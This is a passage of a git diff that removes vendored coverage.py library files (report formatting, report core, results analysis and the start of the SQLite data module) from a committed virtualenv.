total_line: list[Any], - end_lines: list[str], - ) -> None: - """Internal method that prints report data in text format. - - `header` is a list with captions. - `lines_values` is list of lists of sortable values. - `total_line` is a list with values of the total line. - `end_lines` is a list of ending lines with information about skipped files. - - """ - # Prepare the formatting strings, header, and column sorting. - max_name = max([len(line[0]) for line in lines_values] + [5]) + 1 - max_n = max(len(total_line[header.index("Cover")]) + 2, len(" Cover")) + 1 - max_n = max([max_n] + [len(line[header.index("Cover")]) + 2 for line in lines_values]) - formats = dict( - Name="{:{name_len}}", - Stmts="{:>7}", - Miss="{:>7}", - Branch="{:>7}", - BrPart="{:>7}", - Cover="{:>{n}}", - Missing="{:>10}", - ) - header_items = [ - formats[item].format(item, name_len=max_name, n=max_n) - for item in header - ] - header_str = "".join(header_items) - rule = "-" * len(header_str) - - # Write the header - self.write(header_str) - self.write(rule) - - formats.update(dict(Cover="{:>{n}}%"), Missing=" {:9}") - for values in lines_values: - # build string with line values - line_items = [ - formats[item].format(str(value), - name_len=max_name, n=max_n-1) for item, value in zip(header, values) - ] - self.write_items(line_items) - - # Write a TOTAL line - if lines_values: - self.write(rule) - - line_items = [ - formats[item].format(str(value), - name_len=max_name, n=max_n-1) for item, value in zip(header, total_line) - ] - self.write_items(line_items) - - for end_line in end_lines: - self.write(end_line) - - def _report_markdown( - self, - header: list[str], - lines_values: list[list[Any]], - total_line: list[Any], - end_lines: list[str], - ) -> None: - """Internal method that prints report data in markdown format. - - `header` is a list with captions. - `lines_values` is a sorted list of lists containing coverage information. - `total_line` is a list with values of the total line. - `end_lines` is a list of ending lines with information about skipped files. - - """ - # Prepare the formatting strings, header, and column sorting. - max_name = max((len(line[0].replace("_", "\\_")) for line in lines_values), default=0) - max_name = max(max_name, len("**TOTAL**")) + 1 - formats = dict( - Name="| {:{name_len}}|", - Stmts="{:>9} |", - Miss="{:>9} |", - Branch="{:>9} |", - BrPart="{:>9} |", - Cover="{:>{n}} |", - Missing="{:>10} |", - ) - max_n = max(len(total_line[header.index("Cover")]) + 6, len(" Cover ")) - header_items = [formats[item].format(item, name_len=max_name, n=max_n) for item in header] - header_str = "".join(header_items) - rule_str = "|" + " ".join(["- |".rjust(len(header_items[0])-1, "-")] + - ["-: |".rjust(len(item)-1, "-") for item in header_items[1:]], - ) - - # Write the header - self.write(header_str) - self.write(rule_str) - - for values in lines_values: - # build string with line values - formats.update(dict(Cover="{:>{n}}% |")) - line_items = [ - formats[item].format(str(value).replace("_", "\\_"), name_len=max_name, n=max_n-1) - for item, value in zip(header, values) - ] - self.write_items(line_items) - - # Write the TOTAL line - formats.update(dict(Name="|{:>{name_len}} |", Cover="{:>{n}} |")) - total_line_items: list[str] = [] - for item, value in zip(header, total_line): - if value == "": - insert = value - elif item == "Cover": - insert = f" **{value}%**" - else: - insert = f" **{value}**" - total_line_items += formats[item].format(insert, name_len=max_name, n=max_n) - self.write_items(total_line_items) - for end_line in end_lines: - self.write(end_line) - - def report(self, morfs: Iterable[TMorf] | None, outfile: IO[str] | None = None) -> float: - """Writes a report summarizing coverage statistics per module. - - `outfile` is a text-mode file object to write the summary to. - - """ - self.outfile = outfile or sys.stdout - - self.coverage.get_data().set_query_contexts(self.config.report_contexts) - for fr, analysis in get_analysis_to_report(self.coverage, morfs): - self.report_one_file(fr, analysis) - - if not self.total.n_files and not self.skipped_count: - raise NoDataError("No data to report.") - - if self.output_format == "total": - self.write(self.total.pc_covered_str) - else: - self.tabular_report() - - return self.total.pc_covered - - def tabular_report(self) -> None: - """Writes tabular report formats.""" - # Prepare the header line and column sorting. - header = ["Name", "Stmts", "Miss"] - if self.branches: - header += ["Branch", "BrPart"] - header += ["Cover"] - if self.config.show_missing: - header += ["Missing"] - - column_order = dict(name=0, stmts=1, miss=2, cover=-1) - if self.branches: - column_order.update(dict(branch=3, brpart=4)) - - # `lines_values` is list of lists of sortable values. - lines_values = [] - - for (fr, analysis) in self.fr_analysis: - nums = analysis.numbers - - args = [fr.relative_filename(), nums.n_statements, nums.n_missing] - if self.branches: - args += [nums.n_branches, nums.n_partial_branches] - args += [nums.pc_covered_str] - if self.config.show_missing: - args += [analysis.missing_formatted(branches=True)] - args += [nums.pc_covered] - lines_values.append(args) - - # Line sorting. - sort_option = (self.config.sort or "name").lower() - reverse = False - if sort_option[0] == "-": - reverse = True - sort_option = sort_option[1:] - elif sort_option[0] == "+": - sort_option = sort_option[1:] - sort_idx = column_order.get(sort_option) - if sort_idx is None: - raise ConfigError(f"Invalid sorting option: {self.config.sort!r}") - if sort_option == "name": - lines_values = human_sorted_items(lines_values, reverse=reverse) - else: - lines_values.sort( - key=lambda line: (line[sort_idx], line[0]), - reverse=reverse, - ) - - # Calculate total if we had at least one file. - total_line = ["TOTAL", self.total.n_statements, self.total.n_missing] - if self.branches: - total_line += [self.total.n_branches, self.total.n_partial_branches] - total_line += [self.total.pc_covered_str] - if self.config.show_missing: - total_line += [""] - - # Create other final lines. - end_lines = [] - if self.config.skip_covered and self.skipped_count: - file_suffix = "s" if self.skipped_count>1 else "" - end_lines.append( - f"\n{self.skipped_count} file{file_suffix} skipped due to complete coverage.", - ) - if self.config.skip_empty and self.empty_count: - file_suffix = "s" if self.empty_count > 1 else "" - end_lines.append(f"\n{self.empty_count} empty file{file_suffix} skipped.") - - if self.output_format == "markdown": - formatter = self._report_markdown - else: - formatter = self._report_text - formatter(header, lines_values, total_line, end_lines) - - def report_one_file(self, fr: FileReporter, analysis: Analysis) -> None: - """Report on just one file, the callback from report().""" - nums = analysis.numbers - self.total += nums - - no_missing_lines = (nums.n_missing == 0) - no_missing_branches = (nums.n_partial_branches == 0) - if self.config.skip_covered and no_missing_lines and no_missing_branches: - # Don't report on 100% files. - self.skipped_count += 1 - elif self.config.skip_empty and nums.n_statements == 0: - # Don't report on empty files. - self.empty_count += 1 - else: - self.fr_analysis.append((fr, analysis)) diff --git a/backend/venv/Lib/site-packages/coverage/report_core.py b/backend/venv/Lib/site-packages/coverage/report_core.py deleted file mode 100644 index 477034ba..00000000 --- a/backend/venv/Lib/site-packages/coverage/report_core.py +++ /dev/null @@ -1,120 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Reporter foundation for coverage.py.""" - -from __future__ import annotations - -import sys - -from typing import ( - Callable, IO, Protocol, TYPE_CHECKING, -) -from collections.abc import Iterable, Iterator - -from coverage.exceptions import NoDataError, NotPython -from coverage.files import prep_patterns, GlobMatcher -from coverage.misc import ensure_dir_for_file, file_be_gone -from coverage.plugin import FileReporter -from coverage.results import Analysis -from coverage.types import TMorf - -if TYPE_CHECKING: - from coverage import Coverage - - -class Reporter(Protocol): - """What we expect of reporters.""" - - report_type: str - - def report(self, morfs: Iterable[TMorf] | None, outfile: IO[str]) -> float: - """Generate a report of `morfs`, written to `outfile`.""" - - -def render_report( - output_path: str, - reporter: Reporter, - morfs: Iterable[TMorf] | None, - msgfn: Callable[[str], None], -) -> float: - """Run a one-file report generator, managing the output file. - - This function ensures the output file is ready to be written to. Then writes - the report to it. Then closes the file and cleans up. - - """ - file_to_close = None - delete_file = False - - if output_path == "-": - outfile = sys.stdout - else: - # Ensure that the output directory is created; done here because this - # report pre-opens the output file. HtmlReporter does this on its own - # because its task is more complex, being multiple files. - ensure_dir_for_file(output_path) - outfile = open(output_path, "w", encoding="utf-8") - file_to_close = outfile - delete_file = True - - try: - ret = reporter.report(morfs, outfile=outfile) - if file_to_close is not None: - msgfn(f"Wrote {reporter.report_type} to {output_path}") - delete_file = False - return ret - finally: - if file_to_close is not None: - file_to_close.close() - if delete_file: - file_be_gone(output_path) # pragma: part covered (doesn't return) - - -def get_analysis_to_report( - coverage: Coverage, - morfs: Iterable[TMorf] | None, -) -> Iterator[tuple[FileReporter, Analysis]]: - """Get the files to report on. - - For each morf in `morfs`, if it should be reported on (based on the omit - and include configuration options), yield a pair, the `FileReporter` and - `Analysis` for the morf. - - """ - fr_morfs = coverage._get_file_reporters(morfs) - config = coverage.config - - if config.report_include: - matcher = GlobMatcher(prep_patterns(config.report_include), "report_include") - fr_morfs = [(fr, morf) for (fr, morf) in fr_morfs if matcher.match(fr.filename)] - - if config.report_omit: - matcher = GlobMatcher(prep_patterns(config.report_omit), "report_omit") - fr_morfs = [(fr, morf) for (fr, morf) in fr_morfs if not matcher.match(fr.filename)] - - if not fr_morfs: - raise NoDataError("No data to report.") - - for fr, morf in sorted(fr_morfs): - try: - analysis = coverage._analyze(morf) - except NotPython: - # Only report errors for .py files, and only if we didn't - # explicitly suppress those errors. - # NotPython is only raised by PythonFileReporter, which has a - # should_be_python() method. - if fr.should_be_python(): # type: ignore[attr-defined] - if config.ignore_errors: - msg = f"Couldn't parse Python file '{fr.filename}'" - coverage._warn(msg, slug="couldnt-parse") - else: - raise - except Exception as exc: - if config.ignore_errors: - msg = f"Couldn't parse '{fr.filename}': {exc}".rstrip() - coverage._warn(msg, slug="couldnt-parse") - else: - raise - else: - yield (fr, analysis) diff --git a/backend/venv/Lib/site-packages/coverage/results.py b/backend/venv/Lib/site-packages/coverage/results.py deleted file mode 100644 index 6d28e73f..00000000 --- a/backend/venv/Lib/site-packages/coverage/results.py +++ /dev/null @@ -1,419 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Results of coverage measurement.""" - -from __future__ import annotations - -import collections -import dataclasses - -from collections.abc import Container, Iterable -from typing import TYPE_CHECKING - -from coverage.exceptions import ConfigError -from coverage.misc import nice_pair -from coverage.types import TArc, TLineNo - -if TYPE_CHECKING: - from coverage.data import CoverageData - from coverage.plugin import FileReporter - - -def analysis_from_file_reporter( - data: CoverageData, - precision: int, - file_reporter: FileReporter, - filename: str, -) -> Analysis: - """Create an Analysis from a FileReporter.""" - has_arcs = data.has_arcs() - statements = file_reporter.lines() - excluded = file_reporter.excluded_lines() - executed = file_reporter.translate_lines(data.lines(filename) or []) - - if has_arcs: - arc_possibilities_set = file_reporter.arcs() - arcs: Iterable[TArc] = data.arcs(filename) or [] - arcs = file_reporter.translate_arcs(arcs) - - # Reduce the set of arcs to the ones that could be branches. - dests = collections.defaultdict(set) - for fromno, tono in arc_possibilities_set: - dests[fromno].add(tono) - single_dests = { - fromno: list(tonos)[0] - for fromno, tonos in dests.items() - if len(tonos) == 1 - } - new_arcs = set() - for fromno, tono in arcs: - if fromno != tono: - new_arcs.add((fromno, tono)) - else: - if fromno in single_dests: - new_arcs.add((fromno, single_dests[fromno])) - - arcs_executed_set = file_reporter.translate_arcs(new_arcs) - exit_counts = file_reporter.exit_counts() - no_branch = file_reporter.no_branch_lines() - else: - arc_possibilities_set = set() - arcs_executed_set = set() - exit_counts = {} - no_branch = set() - - return Analysis( - precision=precision, - filename=filename, - has_arcs=has_arcs, - statements=statements, - excluded=excluded, - executed=executed, - arc_possibilities_set=arc_possibilities_set, - arcs_executed_set=arcs_executed_set, - exit_counts=exit_counts, - no_branch=no_branch, - ) - - -@dataclasses.dataclass -class Analysis: - """The results of analyzing a FileReporter.""" - - precision: int - filename: str - has_arcs: bool - statements: set[TLineNo] - excluded: set[TLineNo] - executed: set[TLineNo] - arc_possibilities_set: set[TArc] - arcs_executed_set: set[TArc] - exit_counts: dict[TLineNo, int] - no_branch: set[TLineNo] - - def __post_init__(self) -> None: - self.arc_possibilities = sorted(self.arc_possibilities_set) - self.arcs_executed = sorted(self.arcs_executed_set) - self.missing = self.statements - self.executed - - if self.has_arcs: - n_branches = self._total_branches() - mba = self.missing_branch_arcs() - n_partial_branches = sum(len(v) for k,v in mba.items() if k not in self.missing) - n_missing_branches = sum(len(v) for k,v in mba.items()) - else: - n_branches = n_partial_branches = n_missing_branches = 0 - - self.numbers = Numbers( - precision=self.precision, - n_files=1, - n_statements=len(self.statements), - n_excluded=len(self.excluded), - n_missing=len(self.missing), - n_branches=n_branches, - n_partial_branches=n_partial_branches, - n_missing_branches=n_missing_branches, - ) - - def narrow(self, lines: Container[TLineNo]) -> Analysis: - """Create a narrowed Analysis. - - The current analysis is copied to make a new one that only considers - the lines in `lines`. - """ - - statements = {lno for lno in self.statements if lno in lines} - excluded = {lno for lno in self.excluded if lno in lines} - executed = {lno for lno in self.executed if lno in lines} - - if self.has_arcs: - arc_possibilities_set = { - (a, b) for a, b in self.arc_possibilities_set - if a in lines or b in lines - } - arcs_executed_set = { - (a, b) for a, b in self.arcs_executed_set - if a in lines or b in lines - } - exit_counts = { - lno: num for lno, num in self.exit_counts.items() - if lno in lines - } - no_branch = {lno for lno in self.no_branch if lno in lines} - else: - arc_possibilities_set = set() - arcs_executed_set = set() - exit_counts = {} - no_branch = set() - - return Analysis( - precision=self.precision, - filename=self.filename, - has_arcs=self.has_arcs, - statements=statements, - excluded=excluded, - executed=executed, - arc_possibilities_set=arc_possibilities_set, - arcs_executed_set=arcs_executed_set, - exit_counts=exit_counts, - no_branch=no_branch, - ) - - def missing_formatted(self, branches: bool = False) -> str: - """The missing line numbers, formatted nicely. - - Returns a string like "1-2, 5-11, 13-14". - - If `branches` is true, includes the missing branch arcs also. - - """ - if branches and self.has_arcs: - arcs = self.missing_branch_arcs().items() - else: - arcs = None - - return format_lines(self.statements, self.missing, arcs=arcs) - - def arcs_missing(self) -> list[TArc]: - """Returns a sorted list of the un-executed arcs in the code.""" - missing = ( - p for p in self.arc_possibilities - if p not in self.arcs_executed_set - and p[0] not in self.no_branch - and p[1] not in self.excluded - ) - return sorted(missing) - - def _branch_lines(self) -> list[TLineNo]: - """Returns a list of line numbers that have more than one exit.""" - return [l1 for l1,count in self.exit_counts.items() if count > 1] - - def _total_branches(self) -> int: - """How many total branches are there?""" - return sum(count for count in self.exit_counts.values() if count > 1) - - def missing_branch_arcs(self) -> dict[TLineNo, list[TLineNo]]: - """Return arcs that weren't executed from branch lines. - - Returns {l1:[l2a,l2b,...], ...} - - """ - missing = self.arcs_missing() - branch_lines = set(self._branch_lines()) - mba = collections.defaultdict(list) - for l1, l2 in missing: - assert l1 != l2, f"In {self.filename}, didn't expect {l1} == {l2}" - if l1 in branch_lines: - mba[l1].append(l2) - return mba - - def executed_branch_arcs(self) -> dict[TLineNo, list[TLineNo]]: - """Return arcs that were executed from branch lines. - - Only include ones that we considered possible. - - Returns {l1:[l2a,l2b,...], ...} - - """ - branch_lines = set(self._branch_lines()) - eba = collections.defaultdict(list) - for l1, l2 in self.arcs_executed: - assert l1 != l2, f"Oops: Didn't think this could happen: {l1 = }, {l2 = }" - if (l1, l2) not in self.arc_possibilities_set: - continue - if l1 in branch_lines: - eba[l1].append(l2) - return eba - - def branch_stats(self) -> dict[TLineNo, tuple[int, int]]: - """Get stats about branches. - - Returns a dict mapping line numbers to a tuple: - (total_exits, taken_exits). - - """ - - missing_arcs = self.missing_branch_arcs() - stats = {} - for lnum in self._branch_lines(): - exits = self.exit_counts[lnum] - missing = len(missing_arcs[lnum]) - stats[lnum] = (exits, exits - missing) - return stats - - -@dataclasses.dataclass -class Numbers: - """The numerical results of measuring coverage. - - This holds the basic statistics from `Analysis`, and is used to roll - up statistics across files. - - """ - - precision: int = 0 - n_files: int = 0 - n_statements: int = 0 - n_excluded: int = 0 - n_missing: int = 0 - n_branches: int = 0 - n_partial_branches: int = 0 - n_missing_branches: int = 0 - - @property - def n_executed(self) -> int: - """Returns the number of executed statements.""" - return self.n_statements - self.n_missing - - @property - def n_executed_branches(self) -> int: - """Returns the number of executed branches.""" - return self.n_branches - self.n_missing_branches - - @property - def pc_covered(self) -> float: - """Returns a single percentage value for coverage.""" - if self.n_statements > 0: - numerator, denominator = self.ratio_covered - pc_cov = (100.0 * numerator) / denominator - else: - pc_cov = 100.0 - return pc_cov - - @property - def pc_covered_str(self) -> str: - """Returns the percent covered, as a string, without a percent sign. - - Note that "0" is only returned when the value is truly zero, and "100" - is only returned when the value is truly 100. Rounding can never - result in either "0" or "100". - - """ - return display_covered(self.pc_covered, self.precision) - - @property - def ratio_covered(self) -> tuple[int, int]: - """Return a numerator and denominator for the coverage ratio.""" - numerator = self.n_executed + self.n_executed_branches - denominator = self.n_statements + self.n_branches - return numerator, denominator - - def __add__(self, other: Numbers) -> Numbers: - return Numbers( - self.precision, - self.n_files + other.n_files, - self.n_statements + other.n_statements, - self.n_excluded + other.n_excluded, - self.n_missing + other.n_missing, - self.n_branches + other.n_branches, - self.n_partial_branches + other.n_partial_branches, - self.n_missing_branches + other.n_missing_branches, - ) - - def __radd__(self, other: int) -> Numbers: - # Implementing 0+Numbers allows us to sum() a list of Numbers. - assert other == 0 # we only ever call it this way. - return self - - -def display_covered(pc: float, precision: int) -> str: - """Return a displayable total percentage, as a string. - - Note that "0" is only returned when the value is truly zero, and "100" - is only returned when the value is truly 100. Rounding can never - result in either "0" or "100". - - """ - near0 = 1.0 / 10 ** precision - if 0 < pc < near0: - pc = near0 - elif (100.0 - near0) < pc < 100: - pc = 100.0 - near0 - else: - pc = round(pc, precision) - return "%.*f" % (precision, pc) - - -def _line_ranges( - statements: Iterable[TLineNo], - lines: Iterable[TLineNo], -) -> list[tuple[TLineNo, TLineNo]]: - """Produce a list of ranges for `format_lines`.""" - statements = sorted(statements) - lines = sorted(lines) - - pairs = [] - start: TLineNo | None = None - lidx = 0 - for stmt in statements: - if lidx >= len(lines): - break - if stmt == lines[lidx]: - lidx += 1 - if not start: - start = stmt - end = stmt - elif start: - pairs.append((start, end)) - start = None - if start: - pairs.append((start, end)) - return pairs - - -def format_lines( - statements: Iterable[TLineNo], - lines: Iterable[TLineNo], - arcs: Iterable[tuple[TLineNo, list[TLineNo]]] | None = None, -) -> str: - """Nicely format a list of line numbers. - - Format a list of line numbers for printing by coalescing groups of lines as - long as the lines represent consecutive statements. This will coalesce - even if there are gaps between statements. - - For example, if `statements` is [1,2,3,4,5,10,11,12,13,14] and - `lines` is [1,2,5,10,11,13,14] then the result will be "1-2, 5-11, 13-14". - - Both `lines` and `statements` can be any iterable. All of the elements of - `lines` must be in `statements`, and all of the values must be positive - integers. - - If `arcs` is provided, they are (start,[end,end,end]) pairs that will be - included in the output as long as start isn't in `lines`. - - """ - line_items = [(pair[0], nice_pair(pair)) for pair in _line_ranges(statements, lines)] - if arcs is not None: - line_exits = sorted(arcs) - for line, exits in line_exits: - for ex in sorted(exits): - if line not in lines and ex not in lines: - dest = (ex if ex > 0 else "exit") - line_items.append((line, f"{line}->{dest}")) - - ret = ", ".join(t[-1] for t in sorted(line_items)) - return ret - - -def should_fail_under(total: float, fail_under: float, precision: int) -> bool: - """Determine if a total should fail due to fail-under. - - `total` is a float, the coverage measurement total. `fail_under` is the - fail_under setting to compare with. `precision` is the number of digits - to consider after the decimal point. - - Returns True if the total should fail. - - """ - # We can never achieve higher than 100% coverage, or less than zero. - if not (0 <= fail_under <= 100.0): - msg = f"fail_under={fail_under} is invalid. Must be between 0 and 100." - raise ConfigError(msg) - - # Special case for fail_under=100, it must really be 100. - if fail_under == 100.0 and total != 100.0: - return True - - return round(total, precision) < fail_under diff --git a/backend/venv/Lib/site-packages/coverage/sqldata.py b/backend/venv/Lib/site-packages/coverage/sqldata.py deleted file mode 100644 index 169649f3..00000000 --- a/backend/venv/Lib/site-packages/coverage/sqldata.py +++ /dev/null @@ -1,1103 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""SQLite coverage data.""" - -from __future__ import annotations - -import collections -import datetime -import functools -import glob -import itertools -import os -import random -import socket -import sqlite3 -import string -import sys -import textwrap -import threading -import zlib - -from typing import ( - cast, Any, Callable, -) -from collections.abc import Collection, Mapping, Sequence - -from coverage.debug import NoDebugging, auto_repr -from coverage.exceptions import CoverageException, DataError -from coverage.misc import file_be_gone, isolate_module -from coverage.numbits import numbits_to_nums, numbits_union, nums_to_numbits -from coverage.sqlitedb import SqliteDb -from coverage.types import AnyCallable, FilePath, TArc, TDebugCtl, TLineNo, TWarnFn -from coverage.version import __version__ - -os = isolate_module(os) - -# If you change the schema: increment the SCHEMA_VERSION and update the -# docs in docs/dbschema.rst by running "make cogdoc". - -SCHEMA_VERSION = 7 - -# Schema versions: -# 1: Released in 5.0a2 -# 2: Added contexts in 5.0a3. -# 3: Replaced line table with line_map table. -# 4: Changed line_map.bitmap to line_map.numbits. -# 5: Added foreign key declarations. -# 6: Key-value in meta. -# 7: line_map -> line_bits - -SCHEMA = """\ -CREATE TABLE coverage_schema ( - -- One row, to record the version of the schema in this db. - version integer -); - -CREATE TABLE meta ( - -- Key-value pairs, to record metadata about the data - key text, - value text, - unique (key) - -- Possible keys: - -- 'has_arcs' boolean -- Is this data recording branches? - -- 'sys_argv' text -- The coverage command line that recorded the data. - -- 'version' text -- The version of coverage.py that made the file. - -- 'when' text -- Datetime when the file was created. -); - -CREATE TABLE file ( - -- A row per file measured. - id integer primary key, - path text, - unique (path) -); - -CREATE TABLE context ( - -- A row per context measured. - id integer primary key, - context text, - unique (context) -); - -CREATE TABLE line_bits ( - -- If recording lines, a row per context per file executed. - -- All of the line numbers for that file/context are in one numbits. - file_id integer, -- foreign key to `file`. - context_id integer, -- foreign key to `context`. - numbits blob, -- see the numbits functions in coverage.numbits - foreign key (file_id) references file (id), - foreign key (context_id) references context (id), - unique (file_id, context_id) -); - -CREATE TABLE arc ( - -- If recording branches, a row per context per from/to line transition executed. - file_id integer, -- foreign key to `file`. - context_id integer, -- foreign key to `context`. - fromno integer, -- line number jumped from. - tono integer, -- line number jumped to. - foreign key (file_id) references file (id), - foreign key (context_id) references context (id), - unique (file_id, context_id, fromno, tono) -); - -CREATE TABLE tracer ( - -- A row per file indicating the tracer used for that file. - file_id integer primary key, - tracer text, - foreign key (file_id) references file (id) -); -""" - -def _locked(method: AnyCallable) -> AnyCallable: - """A decorator for methods that should hold self._lock.""" - @functools.wraps(method) - def _wrapped(self: CoverageData, *args: Any, **kwargs: Any) -> Any: - if self._debug.should("lock"): - self._debug.write(f"Locking {self._lock!r} for {method.__name__}") - with self._lock: - if self._debug.should("lock"): - self._debug.write(f"Locked {self._lock!r} for {method.__name__}") - return method(self, *args, **kwargs) - return _wrapped - - -class CoverageData: - """Manages collected coverage data, including file storage. - - This class is the public supported API to the data that coverage.py - collects during program execution. It includes information about what code - was executed. It does not include information from the analysis phase, to - determine what lines could have been executed, or what lines were not - executed. - - .. note:: - - The data file is currently a SQLite database file, with a - :ref:`documented schema `. The schema is subject to change - though, so be careful about querying it directly. Use this API if you - can to isolate yourself from changes. - - There are a number of kinds of data that can be collected: - - * **lines**: the line numbers of source lines that were executed. - These are always available. - - * **arcs**: pairs of source and destination line numbers for transitions - between source lines. These are only available if branch coverage was - used. - - * **file tracer names**: the module names of the file tracer plugins that - handled each file in the data. - - Lines, arcs, and file tracer names are stored for each source file. File - names in this API are case-sensitive, even on platforms with - case-insensitive file systems. - - A data file either stores lines, or arcs, but not both. - - A data file is associated with the data when the :class:`CoverageData` - is created, using the parameters `basename`, `suffix`, and `no_disk`. The - base name can be queried with :meth:`base_filename`, and the actual file - name being used is available from :meth:`data_filename`. - - To read an existing coverage.py data file, use :meth:`read`. You can then - access the line, arc, or file tracer data with :meth:`lines`, :meth:`arcs`, - or :meth:`file_tracer`. - - The :meth:`has_arcs` method indicates whether arc data is available. You - can get a set of the files in the data with :meth:`measured_files`. As - with most Python containers, you can determine if there is any data at all - by using this object as a boolean value. - - The contexts for each line in a file can be read with - :meth:`contexts_by_lineno`. - - To limit querying to certain contexts, use :meth:`set_query_context` or - :meth:`set_query_contexts`. These will narrow the focus of subsequent - :meth:`lines`, :meth:`arcs`, and :meth:`contexts_by_lineno` calls. The set - of all measured context names can be retrieved with - :meth:`measured_contexts`. - - Most data files will be created by coverage.py itself, but you can use - methods here to create data files if you like. The :meth:`add_lines`, - :meth:`add_arcs`, and :meth:`add_file_tracers` methods add data, in ways - that are convenient for coverage.py. - - To record data for contexts, use :meth:`set_context` to set a context to - be used for subsequent :meth:`add_lines` and :meth:`add_arcs` calls. - - To add a source file without any measured data, use :meth:`touch_file`, - or :meth:`touch_files` for a list of such files. - - Write the data to its file with :meth:`write`. - - You can clear the data in memory with :meth:`erase`. Data for specific - files can be removed from the database with :meth:`purge_files`. - - Two data collections can be combined by using :meth:`update` on one - :class:`CoverageData`, passing it the other. - - Data in a :class:`CoverageData` can be serialized and deserialized with - :meth:`dumps` and :meth:`loads`. - - The methods used during the coverage.py collection phase - (:meth:`add_lines`, :meth:`add_arcs`, :meth:`set_context`, and - :meth:`add_file_tracers`) are thread-safe. Other methods may not be. - - """ - - def __init__( - self, - basename: FilePath | None = None, - suffix: str | bool | None = None, - no_disk: bool = False, - warn: TWarnFn | None = None, - debug: TDebugCtl | None = None, - ) -> None: - """Create a :class:`CoverageData` object to hold coverage-measured data. - - Arguments: - basename (str): the base name of the data file, defaulting to - ".coverage". This can be a path to a file in another directory. - suffix (str or bool): has the same meaning as the `data_suffix` - argument to :class:`coverage.Coverage`. - no_disk (bool): if True, keep all data in memory, and don't - write any disk file. - warn: a warning callback function, accepting a warning message - argument. - debug: a `DebugControl` object (optional) - - """ - self._no_disk = no_disk - self._basename = os.path.abspath(basename or ".coverage") - self._suffix = suffix - self._warn = warn - self._debug = debug or NoDebugging() - - self._choose_filename() - # Maps filenames to row ids. - self._file_map: dict[str, int] = {} - # Maps thread ids to SqliteDb objects. - self._dbs: dict[int, SqliteDb] = {} - self._pid = os.getpid() - # Synchronize the operations used during collection. - self._lock = threading.RLock() - - # Are we in sync with the data file? - self._have_used = False - - self._has_lines = False - self._has_arcs = False - - self._current_context: str | None = None - self._current_context_id: int | None = None - self._query_context_ids: list[int] | None = None - - __repr__ = auto_repr - - def _choose_filename(self) -> None: - """Set self._filename based on inited attributes.""" - if self._no_disk: - self._filename = ":memory:" - else: - self._filename = self._basename - suffix = filename_suffix(self._suffix) - if suffix: - self._filename += f".{suffix}" - - def _reset(self) -> None: - """Reset our attributes.""" - if not self._no_disk: - for db in self._dbs.values(): - db.close() - self._dbs = {} - self._file_map = {} - self._have_used = False - self._current_context_id = None - - def _open_db(self) -> None: - """Open an existing db file, and read its metadata.""" - if self._debug.should("dataio"): - self._debug.write(f"Opening data file {self._filename!r}") - self._dbs[threading.get_ident()] = SqliteDb(self._filename, self._debug) - self._read_db() - - def _read_db(self) -> None: - """Read the metadata from a database so that we are ready to use it.""" - with self._dbs[threading.get_ident()] as db: - try: - row = db.execute_one("select version from coverage_schema") - assert row is not None - except Exception as exc: - if "no such table: coverage_schema" in str(exc): - self._init_db(db) - else: - raise DataError( - "Data file {!r} doesn't seem to be a coverage data file: {}".format( - self._filename, exc, - ), - ) from exc - else: - schema_version = row[0] - if schema_version != SCHEMA_VERSION: - raise DataError( - "Couldn't use data file {!r}: wrong schema: {} instead of {}".format( - self._filename, schema_version, SCHEMA_VERSION, - ), - ) - - row = db.execute_one("select value from meta where key = 'has_arcs'") - if row is not None: - self._has_arcs = bool(int(row[0])) - self._has_lines = not self._has_arcs - - with db.execute("select id, path from file") as cur: - for file_id, path in cur: - self._file_map[path] = file_id - - def _init_db(self, db: SqliteDb) -> None: - """Write the initial contents of the database.""" - if self._debug.should("dataio"): - self._debug.write(f"Initing data file {self._filename!r}") - db.executescript(SCHEMA) - db.execute_void("insert into coverage_schema (version) values (?)", (SCHEMA_VERSION,)) - - # When writing metadata, avoid information that will needlessly change - # the hash of the data file, unless we're debugging processes. - meta_data = [ - ("version", __version__), - ] - if self._debug.should("process"): - meta_data.extend([ - ("sys_argv", str(getattr(sys, "argv", None))), - ("when", datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")), - ]) - db.executemany_void("insert or ignore into meta (key, value) values (?, ?)", meta_data) - - def _connect(self) -> SqliteDb: - """Get the SqliteDb object to use.""" - if threading.get_ident() not in self._dbs: - self._open_db() - return self._dbs[threading.get_ident()] - - def __bool__(self) -> bool: - if (threading.get_ident() not in self._dbs and not os.path.exists(self._filename)): - return False - try: - with self._connect() as con: - with con.execute("select * from file limit 1") as cur: - return bool(list(cur)) - except CoverageException: - return False - - def dumps(self) -> bytes: - """Serialize the current data to a byte string. - - The format of the serialized data is not documented. It is only - suitable for use with :meth:`loads` in the same version of - coverage.py. - - Note that this serialization is not what gets stored in coverage data - files. This method is meant to produce bytes that can be transmitted - elsewhere and then deserialized with :meth:`loads`. - - Returns: - A byte string of serialized data. - - .. versionadded:: 5.0 - - """ - if self._debug.should("dataio"): - self._debug.write(f"Dumping data from data file {self._filename!r}") - with self._connect() as con: - script = con.dump() - return b"z" + zlib.compress(script.encode("utf-8")) - - def loads(self, data: bytes) -> None: - """Deserialize data from :meth:`dumps`. - - Use with a newly-created empty :class:`CoverageData` object. It's - undefined what happens if the object already has data in it. - - Note that this is not for reading data from a coverage data file. It - is only for use on data you produced with :meth:`dumps`. - - Arguments: - data: A byte string of serialized data produced by :meth:`dumps`. - - .. versionadded:: 5.0 - - """ - if self._debug.should("dataio"): - self._debug.write(f"Loading data into data file {self._filename!r}") - if data[:1] != b"z": - raise DataError( - f"Unrecognized serialization: {data[:40]!r} (head of {len(data)} bytes)", - ) - script = zlib.decompress(data[1:]).decode("utf-8") - self._dbs[threading.get_ident()] = db = SqliteDb(self._filename, self._debug) - with db: - db.executescript(script) - self._read_db() - self._have_used = True - - def _file_id(self, filename: str, add: bool = False) -> int | None: - """Get the file id for `filename`. - - If filename is not in the database yet, add it if `add` is True. - If `add` is not True, return None. - """ - if filename not in self._file_map: - if add: - with self._connect() as con: - self._file_map[filename] = con.execute_for_rowid( - "insert or replace into file (path) values (?)", - (filename,), - ) - return self._file_map.get(filename) - - def _context_id(self, 